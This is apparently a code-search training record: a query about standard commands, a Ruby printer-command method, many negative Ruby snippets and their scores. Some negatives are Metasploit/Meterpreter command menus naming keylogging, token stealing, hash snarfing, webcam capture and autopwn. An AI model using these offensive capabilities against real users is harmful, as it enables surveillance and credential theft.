"def set_ItemID(value)\n set_input(\"ItemID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def set_EntryID(value)\n set_input(\"EntryID\", value)\n end",
"def id=(value)\n write_attribute(self.class.primary_key, value)\n end",
"def setValue(id,value) #extend to encompass different types (textbox, anchor, slider)\r\n\t\t# puts \"updating value in render settings interface\"\r\n new_value=value.to_s\r\n\t\tif(@lrs.send(id) == true or @lrs.send(id) == false)\r\n\t\t #puts \"updating checkbox: \" + id + \" is \"\r\n #puts value.class\r\n\t\t\tcmd=\"$('##{id}').attr('checked', #{value});\" #different asignment method\r\n\t\t\t# SU2LUX.dbg_p cmd\r\n\t\t\t@render_settings_dialog.execute_script(cmd)\r\n\t\t\tcmd=\"checkbox_expander('#{id}');\"\r\n\t\t\t# SU2LUX.dbg_p cmd\r\n\t\t\t@render_settings_dialog.execute_script(cmd)\r\n\t\t######### -- other -- #############\r\n\t\telse\r\n #puts \"updating other: \" + id + \" is \"\r\n #puts value.class\r\n\t\t\tcmd=\"$('##{id}').val('#{new_value}');\" #syntax jquery\r\n\t\t\t# SU2LUX.dbg_p cmd\r\n\t\t\t# cmd = \"document.getElementById('#{id}').value=\\\"#{new_value}\\\"\"\r\n\t\t\t# SU2LUX.dbg_p cmd\r\n\t\t\t@render_settings_dialog.execute_script(cmd)\r\n\t\t\t#Horror coding?\r\n\t\t\tif(id == \"camera_type\")\r\n\t\t\t\tcmd=\"$('##{id}').change();\" #syntax jquery\r\n\t\t\t\t@render_settings_dialog.execute_script(cmd)\r\n\t\t\tend\r\n\t\tend\r\n\t\t#############################\r\n\t\t\r\n\tend",
"def id=(id)\n @attributes.occi!.core!.id = id\n @id = id\n end",
"def discount_id=(val, no_dirty = false)\n self.id = val\n end",
"def id=(value)\n write_attribute(self.class.primary_key, value) if self.class.primary_key\n end",
"def set_PostID(value)\n set_input(\"PostID\", value)\n end",
"def set_PostID(value)\n set_input(\"PostID\", value)\n end",
"def set_PostID(value)\n set_input(\"PostID\", value)\n end",
"def set_PostID(value)\n set_input(\"PostID\", value)\n end",
"def set_PostID(value)\n set_input(\"PostID\", value)\n end",
"def set_PostID(value)\n set_input(\"PostID\", value)\n end",
"def set_PostID(value)\n set_input(\"PostID\", value)\n end",
"def set_PostID(value)\n set_input(\"PostID\", value)\n end",
"def set_InvoiceID(value)\n set_input(\"InvoiceID\", value)\n end",
"def id=(value)\n write_attribute(self.class.primary_key, value)\n end"
] | [
"0.8087808",
"0.8042741",
"0.8042741",
"0.8042741",
"0.8042741",
"0.80413914",
"0.80413914",
"0.80413914",
"0.80413914",
"0.80413914",
"0.80413914",
"0.80413914",
"0.80413914",
"0.80404854",
"0.80404854",
"0.80404854",
"0.7918111",
"0.7839612",
"0.7839612",
"0.7839612",
"0.7839612",
"0.7839612",
"0.7839612",
"0.7839612",
"0.77716726",
"0.7755169",
"0.77136266",
"0.76814467",
"0.76814467",
"0.76814467",
"0.76814467",
"0.76814467",
"0.76814467",
"0.76814467",
"0.76814467",
"0.76814467",
"0.759187",
"0.7563329",
"0.74866956",
"0.73865336",
"0.73617655",
"0.7337975",
"0.72769344",
"0.72769344",
"0.72769344",
"0.7194876",
"0.71659154",
"0.71108395",
"0.71108395",
"0.7099654",
"0.7081916",
"0.70708126",
"0.7039537",
"0.6994188",
"0.6988743",
"0.69766116",
"0.69708395",
"0.6964885",
"0.6945542",
"0.6932058",
"0.67437685",
"0.67437685",
"0.67389584",
"0.66840607",
"0.66803277",
"0.66803277",
"0.667465",
"0.66481495",
"0.66481495",
"0.66293365",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.662713",
"0.66126317",
"0.66082203",
"0.66018957",
"0.65937585",
"0.65810186",
"0.65778834",
"0.65778834",
"0.65778834",
"0.65778834",
"0.65778834",
"0.65778834",
"0.65778834",
"0.65778834",
"0.65392315",
"0.6537451"
] | 0.70565283 | 52 |
The standard commands which never change. | def standard_commands
{
'C' => Commands::ClearImageBuffer,
'T' => Commands::Feed,
'XS' => Commands::Issue
}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def commands\n {}\n end",
"def commands; end",
"def commands\n @commands ||= []\n end",
"def get_commands\n return nil\n end",
"def commands\n @@commands.dup\n end",
"def commands\n COMMANDS\n end",
"def commands\n load_commands unless @commands\n @commands\n end",
"def set_commands; end",
"def commands\n {\n 'help' => 'Help menu',\n 'background' => 'Backgrounds the current shell session',\n 'sessions' => 'Quickly switch to another session',\n 'resource' => 'Run a meta commands script stored in a local file',\n 'shell' => 'Spawn an interactive shell (*NIX Only)',\n 'download' => 'Download files (*NIX Only)',\n 'upload' => 'Upload files (*NIX Only)',\n 'source' => 'Run a shell script on remote machine (*NIX Only)',\n 'irb' => 'Open an interactive Ruby shell on the current session',\n 'pry' => 'Open the Pry debugger on the current session'\n }\n end",
"def commands\n\t\t{\n\t\t\t\"execute\" => \"Execute a command\",\n\t\t\t\"shell\" => \"Drop into a system command shell\",\n\t\t}\n\tend",
"def commands\n unless defined? @commands\n @commands = []\n end\n return @commands\n end",
"def commands\n\t\t{ }\n\tend",
"def supported_commands\n commands.keys\n end",
"def commands\n\t\t{\n\t\t\t\"cat\" => \"Read the contents of a file to the screen\",\n\t\t\t\"cd\" => \"Change directory\",\n\t\t\t\"download\" => \"Download a file or directory\",\n\t\t\t\"edit\" => \"Edit a file\",\n\t\t\t\"getwd\" => \"Print working directory\",\n\t\t\t\"ls\" => \"List files\",\n\t\t\t\"mkdir\" => \"Make directory\",\n\t\t\t\"pwd\" => \"Print working directory\",\n\t\t\t\"rmdir\" => \"Remove directory\",\n\t\t\t\"upload\" => \"Upload a file or directory\",\n\t\t\t\"lcd\" => \"Change local working directory\",\n\t\t\t\"getlwd\" => \"Print local working directory\",\n\t\t\t\"lpwd\" => \"Print local working directory\",\n\t\t\t\"rm\" => \"Delete the specified file\",\n\t\t\t\"del\" => \"Delete the specified file\",\n\t\t\t\"search\" => \"Search for files\"\n\t\t}\n\tend",
"def commands\n {\n }\n end",
"def commands\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def commands\n @commands ||=\n if superclass.respond_to? :commands\n superclass.commands.clone\n else\n {}\n end\n end",
"def get_commands\n %w{ testchoosedir testchoosefile testnumberedmenu testdisplay_list testdisplay_text testdir }\n end",
"def commands\r\n @help_commands\r\n end",
"def commands\n @commands ||= [].tap do |c|\n commands_list.each do |command|\n if command.instance_of? String\n c << standard_commands[command].new\n else\n ret_command = send(command)\n c << (ret_command.instance_of?(Hash) ? ret_command.values : ret_command)\n end\n end\n end.flatten\n end",
"def set_commands\n super\n @commands['clear'] = ConsoleCommand_Clear.new(self)\n @commands['confirm'] = ConsoleCommand_Confirm.new(self)\n end",
"def get_commands\n %w{ testchoose testnumberedmenu testdisplay_list testdisplay_text testdir saveas1 }\n end",
"def commands\n abstract!\n end",
"def undocumented_commands\n command_list - documented_commands\n end",
"def commands\n @commands.keys.sort\n end",
"def add_original_commands; end",
"def commands\n all = {\n 'clearev' => 'Clear the event log',\n 'drop_token' => 'Relinquishes any active impersonation token.',\n 'execute' => 'Execute a command',\n 'getpid' => 'Get the current process identifier',\n 'getprivs' => 'Attempt to enable all privileges available to the current process',\n 'getuid' => 'Get the user that the server is running as',\n 'getsid' => 'Get the SID of the user that the server is running as',\n 'getenv' => 'Get one or more environment variable values',\n 'kill' => 'Terminate a process',\n 'pkill' => 'Terminate processes by name',\n 'pgrep' => 'Filter processes by name',\n 'ps' => 'List running processes',\n 'reboot' => 'Reboots the remote computer',\n 'reg' => 'Modify and interact with the remote registry',\n 'rev2self' => 'Calls RevertToSelf() on the remote machine',\n 'shell' => 'Drop into a system command shell',\n 'shutdown' => 'Shuts down the remote computer',\n 'steal_token' => 'Attempts to steal an impersonation token from the target process',\n 'suspend' => 'Suspends or resumes a list of processes',\n 'sysinfo' => 'Gets information about the remote system, such as OS',\n 'localtime' => 'Displays the target system local date and time',\n }\n reqs = {\n 'clearev' => [\n COMMAND_ID_STDAPI_SYS_EVENTLOG_OPEN,\n COMMAND_ID_STDAPI_SYS_EVENTLOG_CLEAR\n ],\n 'drop_token' => [COMMAND_ID_STDAPI_SYS_CONFIG_DROP_TOKEN],\n 'execute' => [COMMAND_ID_STDAPI_SYS_PROCESS_EXECUTE],\n 'getpid' => [COMMAND_ID_STDAPI_SYS_PROCESS_GETPID],\n 'getprivs' => [COMMAND_ID_STDAPI_SYS_CONFIG_GETPRIVS],\n 'getuid' => [COMMAND_ID_STDAPI_SYS_CONFIG_GETUID],\n 'getsid' => [COMMAND_ID_STDAPI_SYS_CONFIG_GETSID],\n 'getenv' => [COMMAND_ID_STDAPI_SYS_CONFIG_GETENV],\n 'kill' => [COMMAND_ID_STDAPI_SYS_PROCESS_KILL],\n 'pkill' => [\n COMMAND_ID_STDAPI_SYS_PROCESS_KILL,\n COMMAND_ID_STDAPI_SYS_PROCESS_GET_PROCESSES\n ],\n 'pgrep' => [COMMAND_ID_STDAPI_SYS_PROCESS_GET_PROCESSES],\n 'ps' => [COMMAND_ID_STDAPI_SYS_PROCESS_GET_PROCESSES],\n 'reboot' => [COMMAND_ID_STDAPI_SYS_POWER_EXITWINDOWS],\n 'reg'\t => [\n COMMAND_ID_STDAPI_REGISTRY_LOAD_KEY,\n COMMAND_ID_STDAPI_REGISTRY_UNLOAD_KEY,\n COMMAND_ID_STDAPI_REGISTRY_OPEN_KEY,\n COMMAND_ID_STDAPI_REGISTRY_OPEN_REMOTE_KEY,\n COMMAND_ID_STDAPI_REGISTRY_CREATE_KEY,\n COMMAND_ID_STDAPI_REGISTRY_DELETE_KEY,\n COMMAND_ID_STDAPI_REGISTRY_CLOSE_KEY,\n COMMAND_ID_STDAPI_REGISTRY_ENUM_KEY,\n COMMAND_ID_STDAPI_REGISTRY_SET_VALUE,\n COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE,\n COMMAND_ID_STDAPI_REGISTRY_DELETE_VALUE,\n COMMAND_ID_STDAPI_REGISTRY_QUERY_CLASS,\n COMMAND_ID_STDAPI_REGISTRY_ENUM_VALUE,\n ],\n 'rev2self' => [COMMAND_ID_STDAPI_SYS_CONFIG_REV2SELF],\n 'shell' => [COMMAND_ID_STDAPI_SYS_PROCESS_EXECUTE],\n 'shutdown' => [COMMAND_ID_STDAPI_SYS_POWER_EXITWINDOWS],\n 'steal_token' => [COMMAND_ID_STDAPI_SYS_CONFIG_STEAL_TOKEN],\n 'suspend' => [COMMAND_ID_STDAPI_SYS_PROCESS_ATTACH],\n 'sysinfo' => [COMMAND_ID_STDAPI_SYS_CONFIG_SYSINFO],\n 'localtime' => [COMMAND_ID_STDAPI_SYS_CONFIG_LOCALTIME],\n }\n filter_commands(all, reqs)\n end",
"def commands\n c = {\n \"?\" => \"Help menu\",\n \"background\" => \"Backgrounds the current session\",\n \"exit\" => \"Terminate the hardware bridge session\",\n \"help\" => \"Help menu\",\n \"irb\" => \"Drop into irb scripting mode\",\n \"load\" => \"Load one or more meterpreter extensions\",\n \"run\" => \"Executes a meterpreter script or Post module\",\n \"bgrun\" => \"Executes a meterpreter script as a background thread\",\n \"bgkill\" => \"Kills a background meterpreter script\",\n \"bglist\" => \"Lists running background scripts\",\n \"sessions\" => \"Quickly switch to another session\",\n \"status\" => \"Fetch bridge status information\",\n \"specialty\" => \"Hardware devices specialty\",\n \"reset\" => \"Resets the device (NOTE: on some devices this is a FULL FACTORY RESET)\",\n \"reboot\" => \"Reboots the device (usually only supported by stand-alone devices)\",\n \"load_custom_methods\" => \"Loads custom HW commands if any\"\n }\n\n if msf_loaded?\n c[\"info\"] = \"Displays information about a Post module\"\n end\n\n c\n end",
"def commands\n\t\t{\n\t\t\t\"idletime\" => \"Returns the number of seconds the remote user has been idle\",\n\t\t\t\"uictl\" => \"Control some of the user interface components\",\n\t\t\t\"enumdesktops\" => \"List all accessible desktops and window stations\",\n\t\t\t\"setdesktop\" => \"Move to a different workstation and desktop\",\n\t\t\t\"keyscan_start\" => \"Start capturing keystrokes\",\n\t\t\t\"keyscan_stop\" => \"Stop capturing keystrokes\",\n\t\t\t\"keyscan_dump\" => \"Dump they keystroke buffer\",\n\t\t\t\n\t\t\t# no longer needed with setdesktop\n\t\t\t# \"grabinputdesktop\" => \"Take over the active input desktop\",\n\t\t\t\n\t\t\t# not working yet\n\t\t\t# \"unlockdesktop\" => \"Unlock or lock the workstation (must be inside winlogon.exe)\",\n\t\t}\n\tend",
"def cmd_cmds\n puts self.methods.grep(/^cmd_/).map {|m| m[4..-1]} * \" \"\n end",
"def all_commands\n [client_commands, server_commands].flatten\n end",
"def commands\n\t\t{\n\t\t\t\"idletime\" => \"Returns the number of seconds the remote user has been idle\",\n\t\t\t\"uictl\" => \"Control some of the user interface components\",\n\t\t\t\"enumdesktops\" => \"List all accessible desktops and window stations\",\n\t\t\t\"getdesktop\" => \"Get the current meterpreter desktop\",\n\t\t\t\"setdesktop\" => \"Change the meterpreters current desktop\",\n\t\t\t\"keyscan_start\" => \"Start capturing keystrokes\",\n\t\t\t\"keyscan_stop\" => \"Stop capturing keystrokes\",\n\t\t\t\"keyscan_dump\" => \"Dump the keystroke buffer\",\n\t\t\t\"screenshot\" => \"Grab a screenshot of the interactive desktop\",\n\n\t\t\t# not working yet\n\t\t\t# \"unlockdesktop\" => \"Unlock or lock the workstation (must be inside winlogon.exe)\",\n\t\t}\n\tend",
"def commands\n\t\t{\n\t\t\t\"?\" => \"Help menu\",\n\t\t\t\"background\" => \"Backgrounds the current session\",\n\t\t\t\"close\" => \"Closes a channel\",\n\t\t\t\"channel\" => \"Displays information about active channels\",\n\t\t\t\"exit\" => \"Terminate the meterpreter session\",\n\t\t\t\"help\" => \"Help menu\",\n\t\t\t\"interact\" => \"Interacts with a channel\",\n\t\t\t\"irb\" => \"Drop into irb scripting mode\",\n\t\t\t\"migrate\" => \"Migrate the server to another process\",\n\t\t\t\"use\" => \"Load a one or more meterpreter extensions\",\n\t\t\t\"quit\" => \"Terminate the meterpreter session\",\n\t\t\t\"read\" => \"Reads data from a channel\",\n\t\t\t\"run\" => \"Executes a meterpreter script\",\n\t\t\t\"bgrun\" => \"Executes a meterpreter script as a background thread\",\n\t\t\t\"bgkill\" => \"Kills a background meterpreter script\",\n\t\t\t\"bglist\" => \"Lists running background scripts\",\n\t\t\t\"write\" => \"Writes data to a channel\",\n\t\t}\n\tend",
"def commands\n self.class.command_classes\n end",
"def add_original_commands\n end",
"def cmd; end",
"def valid_commands\n methods.grep(/_command$/).map {|c| c.to_s.gsub(\"_command\", \"\")}\n end",
"def valid_commands\n methods.grep(/_command$/).map {|c| c.to_s.gsub(\"_command\", \"\")}\n end",
"def commands\n {\n \"power_shell\" => \"Execute a powershell command.\",\n \"power_view\" => \"Download and execute Veil's PowerView Framework\",\n \"power_up\" => \"Download and execute the PowerUp Framework\",\n \"power_katz\" => \"Invoke-Mimikatz into memory using PowerShell\",\n \"power_scan\" => \"Invoke-PortScan from meterpreter using PowerShell\"\n }\n end",
"def set_commands\n ConsoleCommand::Properties.each do |cmd_class,data|\n next if data[:debug_only] && !$DEBUG\n next if data[:outside_game]\n next if (data[:session] || 'shell') != self.name\n next if data[:mkxp_only] && !$MKXP\n @commands[data[:name]] = cmd_class.new(self) unless data[:hidden]\n end \n end",
"def commands\n @commands.reject { |_, v| v.is_a? CommandLion::Option }\n end",
"def default_cmd ; %w{urxvt} ; end",
"def commands\n self.class.commands\n end",
"def set_commands\n ConsoleCommand::Properties.each do |cmd_class,data|\n next if data[:debug_only] && !$DEBUG\n next if data[:in_game]\n next if (data[:session] || 'shell') != self.name\n next if data[:mkxp_only] && !$MKXP\n @commands[data[:name]] = cmd_class.new(self) unless data[:hidden]\n end \n end",
"def reset_commands\n @commands = {}\n end",
"def list_commands(character, input=nil)\n \t\tcommands = COMMANDS.keys\n \t\t\n\t\tprint_line commands.join(?\\s)\n\t\tprint_line\n\tend",
"def command_list\n options[:commands] || SimpleFormWysihtml::WysihtmlInput.configuration.commands\n end",
"def add_commands\n end",
"def command_list\n options[:commands] || SimpleFormEpicEditor::EpicEditorInput.configuration.commands\n end",
"def commands\n\n {\n 'TODO' => \"This one shout take its sub commands from current(headers/body) variables and the key value should be the command description\n This one should depend on current context\"\n }\n\n end",
"def command_names\n commands.map &:name\n end",
"def cmd_default\n cmd_info\n cmd_tree\n end",
"def commands\n\t\tall = {\n\t\t\t\"webcam_list\" => \"List webcams\",\n\t\t\t\"webcam_snap\" => \"Take a snapshot from the specified webcam\",\n\t\t\t\"record_mic\" => \"Record audio from the default microphone for X seconds\"\n\t\t}\n\t\treqs = {\n\t\t\t\"webcam_list\" => [ \"webcam_list\" ],\n\t\t\t\"webcam_snap\" => [ \"webcam_start\", \"webcam_get_frame\", \"webcam_stop\" ],\n\t\t\t\"record_mic\" => [ \"webcam_record_audio\" ],\n\t\t}\n\n\t\tall.delete_if do |cmd, desc|\n\t\t\tdel = false\n\t\t\treqs[cmd].each do |req|\n\t\t\t\tnext if client.commands.include? req\n\t\t\t\tdel = true\n\t\t\t\tbreak\n\t\t\tend\n\n\t\t\tdel\n\t\tend\n\n\t\tall\n\tend",
"def commands_list\n out = \"\"\n # If there are no commands set\n if COMMANDS.empty?\n out << \" ooops! commands are not here!\"\n else\n # Get the longest command's name, so we can output it nice 'n' clean\n # This '+ int' at the end is a distance (in spaces) from the longest\n # command to descriptions\n longest = COMMANDS.max_by(&:size).size + 8\n COMMANDS.each do |cmd|\n # Calc, calc.\n spaces = longest - cmd.size\n # Check if there is a 'desc' method\n desc = if eval \"Command::#{cmd}.new.respond_to? 'desc'\"\n # If there is - execute it\n eval \"Command::#{cmd}.new.desc\"\n else\n # If there is not\n \"---\"\n end\n out << \" \" << cmd.downcase.to_s << \" \" * spaces << desc\n # If this command is the last one, don't make a new line\n unless cmd == COMMANDS.last\n out << \"\\n\"\n end\n end\n end\n out\n end",
"def commands\n\t\t\t{\n\t\t\t\t\"edit\" => \"A handy editor commmand\"\n\t\t\t}\n\t\tend",
"def command_name; end",
"def base_commands(command)\n prefix, base = command.match(/^(no )?(.*)$/).captures\n prefix = '' if prefix.nil?\n [prefix, base]\n end",
"def clear_commands\n @@commands = HELP_COMMAND.dup\n end",
"def subcommands\n @subcommands ||= []\n end",
"def subcommands\n @subcommands ||= []\n end",
"def commands\n {\n # meta commands\n 'dradis_config' => \"Show Dradis API configuration (#{config_file})\",\n 'dradis_help'\t => 'Displays help',\n 'dradis_version' => 'Displays version information',\n\n # API commands\n 'dradis_add_node' => 'Add a new Node to dradis',\n 'dradis_nodes' => 'List all nodes'\n }\n end",
"def client_commands\n @client_commands ||= []\n end",
"def previewed_commands\n @commands.map { |cmd| embed_command(cmd) }\n end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def shell_commands(cmd, args); end",
"def list_commands\n puts template(:all, {\n app: File.basename(@app),\n\n cmds: ::WeatherSage::CLI::Help::COMMANDS.values.map { |cmd|\n template(:cmd, cmd)\n }.join(\"\\n\"),\n\n envs: ::WeatherSage::CLI::Env::VARS.map { |row|\n template(:env, row)\n }.join(\"\\n\\n\"),\n })\n end",
"def commands\n\t\t{\n\t\t\t\"add_user\" => \"Attempt to add a user with all tokens\",\n\t\t\t\"add_localgroup_user\" => \"Attempt to add a user to a local group with all tokens\",\n\t\t\t\"add_group_user\" => \"Attempt to add a user to a global group with all tokens\",\n\t\t\t\"list_tokens\" => \"List tokens available under current user context\",\n\t\t\t\"impersonate_token\" => \"Impersonate specified token\",\n\t\t\t\"snarf_hashes\" => \"Snarf challenge/response hashes for every token\"\n\t\t}\n\tend",
"def commands\n args.commands.map do |cmd|\n if cmd.respond_to?(:join)\n cmd.map { |c| c.index(' ') ? \"'#{c}'\" : c }.join(' ')\n else\n cmd.to_s\n end\n end\n end",
"def subcommands(cmd); end",
"def subcommands(cmd); end",
"def server_commands\n @server_commands ||= []\n end",
"def help\n @@commands.each do |command| \n puts command[0]\n puts \" `#{command[1]}\"\n end \n end",
"def shell_commands(cmd, *args); end",
"def commands\n @aliases\n end",
"def command_shortcuts(cmd)\n shortcuts[cmd] \n end",
"def add_main_commands\n add_command(Vocab::item, :item, main_commands_enabled)\n add_command(Vocab::skill, :skill, main_commands_enabled)\n add_command(Vocab::equip, :equip, main_commands_enabled)\n add_command(Vocab::status, :status, main_commands_enabled)\n end",
"def commands\n @commands ||= source.checkout(revision, configuration[:deploy_release])\n end",
"def commands\n\t\t{\n\t\t\t\"check\" => \"Check to see if a target is vulnerable\",\n\t\t\t\"exploit\" => \"Launch an exploit attempt\",\n\t\t\t\"rcheck\" => \"Reloads the module and checks if the target is vulnerable\",\n\t\t\t\"rexploit\" => \"Reloads the module and launches an exploit attempt\",\n\t\t}\n\tend",
"def set_available_commands\n hash = {}\n Command.descendants.each do |child|\n mod, command = child.to_s.split('::')\n next if command.nil?\n mod = ConsoleProgram.base_module if mod == 'ConsoleProgram'\n hash[mod.downcase.to_sym] ||= {}\n hash[mod.downcase.to_sym][child.command_reference] = child\n child.alternate_commands.each{|cmd| hash[mod.downcase.to_sym][cmd] = child } unless child.alternate_commands.nil?\n end\n #= TODO (Maybe) find a better way to store the hash. -shosang\n # => A custom class that acts a lot like a hash?\n @@commands = hash\n end",
"def commands\n\t\t\t\t{\n\t\t\t\t\t'twitt_help'\t\t\t\t\t=> \"Displays help\",\n\t\t\t\t\t'twitt_start'\t\t\t\t\t=> \"Start Twitter Plugin after saving settings.\",\n\t\t\t\t\t'twitt_stop'\t\t\t\t\t=> \"Stop monitoring for new sessions.\",\n\t\t\t\t\t'twitt_test'\t\t\t\t\t=> \"Send test message to make sure confoguration is working.\",\n\t\t\t\t\t'twitt_save'\t\t\t\t\t=> \"Save Settings to YAML File #{Twitter_yaml}.\",\n\t\t\t\t\t'twitt_set_consumer_key'\t\t=> \"Sets Twitter Consumer Key.\",\n\t\t\t\t\t'twitt_set_consumer_secret'\t \t=> \"Sets Consumer Secret.\",\n\t\t\t\t\t'twitt_set_oauth_token'\t\t \t=> \"Sets Oauth Token.\",\n\t\t\t\t\t'twitt_set_oauth_token_secret' => \"Sets Oauth Token Secret\",\n\t\t\t\t\t'twitt_set_user'\t\t\t\t=> \"Sets User to whom messages will be sent.\",\n\t\t\t\t\t'twitt_set_source'\t\t\t \t=> \"Sets Source Name from where the messages are sent.\",\n\t\t\t\t\t'twitt_show_parms'\t\t\t \t=> \"Shows currently set parameters.\"\n\n\t\t\t\t}\n\t\t\tend",
"def cmds\n pry(Git::Multi::Commands)\nend",
"def commands\n\t\t\t{\n\t\t\t\t\"wmap_website\" => \"List website structure\",\n\t\t\t\t\"wmap_targets\" => \"Targets in the database\",\n\t\t\t\t\"wmap_sql\" => \"Query the database\",\n\t\t\t\t\"wmap_run\" => \"Automatically test/exploit everything\",\n\t\t\t\t\"wmap_proxy\" => \"Run mitm proxy\",\n\t\t\t\t\"wmap_crawl\" => \"Crawl website\",\n\t\t\t\t\"wmap_attack\" => \"Crawl and Test\",\n\t\t\t}\n\t\tend",
"def list_commands\n puts UI_ARROW.light_yellow + \" \" + \"'fight', 'f', or 'battle' to view enemies and fight.\"\n puts UI_ARROW.light_yellow + \" \" + \"'armoury' or 'a' to go to the armoury.\"\n puts UI_ARROW.light_yellow + \" \" + \"'stats' to view your current status.\"\n puts UI_ARROW.light_yellow + \" \" + \"'clear' or 'cls' to clear the screen.\"\n puts UI_ARROW.light_yellow + \" \" + \"'quit', 'q', or 'exit' to abandon your journey.\"\nend",
"def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend",
"def subcommands() __subcommands__ end",
"def command_list\n collect_do - subcommand_list\n end",
"def commands\n return [] unless options[\"commands\"]\n options[\"commands\"].map do |options|\n options['parents'] = parents + [name]\n Command.new options\n end\n end",
"def commands\n ensure_cache_up_to_date\n commands = self.redis.keys(\"bluster:objects:command:*\")\n commands.map! { |r| r.split(\":\")[3] }\n commands.uniq\n end",
"def make_command_list\n add_command(Vocab::SKILLS, :skills, main_commands_enabled)\n add_command(Vocab::CAPACITIES, :capacities, main_commands_enabled)\n add_command(Vocab::EQUIP, :equip, main_commands_enabled)\n add_command(Vocab::LEARNING, :learning, main_commands_enabled)\n add_command(Vocab::LIBRAIRIES, :librairies, main_commands_enabled)\n add_command(Vocab::ITEM, :item, main_commands_enabled)\n add_command(Vocab::CRAFTING, :crafting, main_commands_enabled)\n add_command(Vocab::STRATEGY, :strategy, main_commands_enabled)\n add_command(Vocab::COOKING, :cooking, main_commands_enabled)\n add_command(Vocab::SYSTEM, :system, main_commands_enabled)\n end",
"def generate_commands\n commands = []\n commands << \"tmux rename-session \\\"#{@name}\\\"\" unless @name.nil?\n commands << @windows.map(&:generate_commands)\n @windows.each { |w| commands << \"tmux select-window -t:#{w.name}\" && break if w.focus }\n commands\n end",
"def commands\n {\n \"sample\" => \"A sample command added by the sample plugin\",\n \"notifier_start\" => \"Start session watcher\",\n \"notifier_stop\" => \"Stop session watcher\",\n \"notifier_set_user\" => \"Set Dashboard user name\",\n \"notifier_set_pass\" => \"Set Dashboard password\",\n \"notifier_set_dashboard_url\" => \"Set Dashboard base URL\",\n \"notifier_show_config\" => \"Show notifier config\",\n \"notifier_dashboard_login\" => \"Log in to dashboard\",\n \"notifier_dashboard_permissions\" => \"Get dashbaord user permissions\"\n }\n end",
"def commands\n\t\t\t\t{\n\t\t\t\t\t'notify_help'\t\t\t\t\t=> \"Displays help\",\n\t\t\t\t\t'notify_start'\t\t\t\t=> \"Start Notify Plugin after saving settings.\",\n\t\t\t\t\t'notify_stop'\t\t\t\t\t=> \"Stop monitoring for new sessions.\",\n\t\t\t\t\t'notify_test'\t\t\t\t\t=> \"Send test message to make sure confoguration is working.\",\n\t\t\t\t\t'notify_save'\t\t\t\t\t=> \"Save Settings to YAML File #{Notify_yaml}.\",\n\t\t\t\t\t'notify_set_webhook'\t=> \"Sets Slack Webhook URL.\",\n\t\t\t\t\t'notify_set_user'\t\t\t=> \"Set Slack username for messages.\",\n\t\t\t\t\t'notify_set_source'\t\t=> \"Set source for identifying the souce of the message.\",\n\t\t\t\t\t'notify_show_options'\t=> \"Shows currently set parameters.\",\n\n\t\t\t\t}\n\t\t\tend",
"def generate_commands\n commands = []\n\n if @session.options.include?(:here) and @index == 0\n commands << \"tmux rename-window \\\"#{@name}\\\"\"\n else\n commands << \"tmux new-window -n \\\"#{@name}\\\"\"\n end\n\n pane_commands = @panes.map do |pane|\n c = pane.generate_commands\n c << \"tmux select-layout \\\"#{@layout}\\\"\" if @layout\n c\n end\n commands << pane_commands\n\n @options.each_pair do |option, value|\n value = \"on\" if value === true\n value = \"off\" if value === false\n commands << \"tmux set-window-option #{option} #{value}\"\n end\n\n commands << \"tmux select-layout \\\"#{@layout}\\\"\" if @layout\n commands << \"tmux select-pane -t #{@panes.map(&:focus).index(true) || 0}\"\n\n commands\n end",
"def commands\n\t\t\tbase = {\n\t\t\t\t\"db_driver\" => \"Specify a database driver\",\n\t\t\t\t\"db_connect\" => \"Connect to an existing database\",\n\t\t\t\t\"db_disconnect\" => \"Disconnect from the current database instance\",\n\t\t\t\t\"db_status\" => \"Show the current database status\",\n\t\t\t\t# Deprecated\n\t\t\t\t\"db_create\" => \"Create a brand new database\",\n\t\t\t\t\"db_destroy\" => \"Drop an existing database\",\n\t\t\t\t\"db_sync\" => \"Synchronize the database\",\n\t\t\t}\n\n\t\t\tmore = {\n\t\t\t\t\"db_workspace\" => \"Switch between database workspaces\",\n\t\t\t\t\"db_hosts\" => \"List all hosts in the database\",\n\t\t\t\t\"db_services\" => \"List all services in the database\",\n\t\t\t\t\"db_vulns\" => \"List all vulnerabilities in the database\",\n\t\t\t\t\"db_notes\" => \"List all notes in the database\",\n\t\t\t\t\"db_add_host\" => \"Add one or more hosts to the database\",\n\t\t\t\t\"db_add_port\" => \"Add a port to host\",\n\t\t\t\t\"db_add_note\" => \"Add a note to host\",\n\t\t\t\t\"db_del_host\" => \"Delete one or more hosts from the database\",\n\t\t\t\t\"db_del_port\" => \"Delete one port from the database\",\n\t\t\t\t\"db_autopwn\" => \"Automatically exploit everything\",\n\t\t\t\t\"db_import\" => \"Import a scan result file (filetype will be auto-detected)\",\n\t\t\t\t\"db_import_ip_list\" => \"Import a list of line seperated IPs\",\n\t\t\t\t\"db_import_amap_mlog\" => \"Import a THC-Amap scan results file (-o -m)\",\n\t\t\t\t\"db_import_amap_log\" => \"Import a THC-Amap scan results file (-o )\",\n\t\t\t\t\"db_import_nessus_nbe\" => \"Import a Nessus scan result file (NBE)\",\n\t\t\t\t\"db_import_nessus_xml\"\t=> \"Import a Nessus scan result file 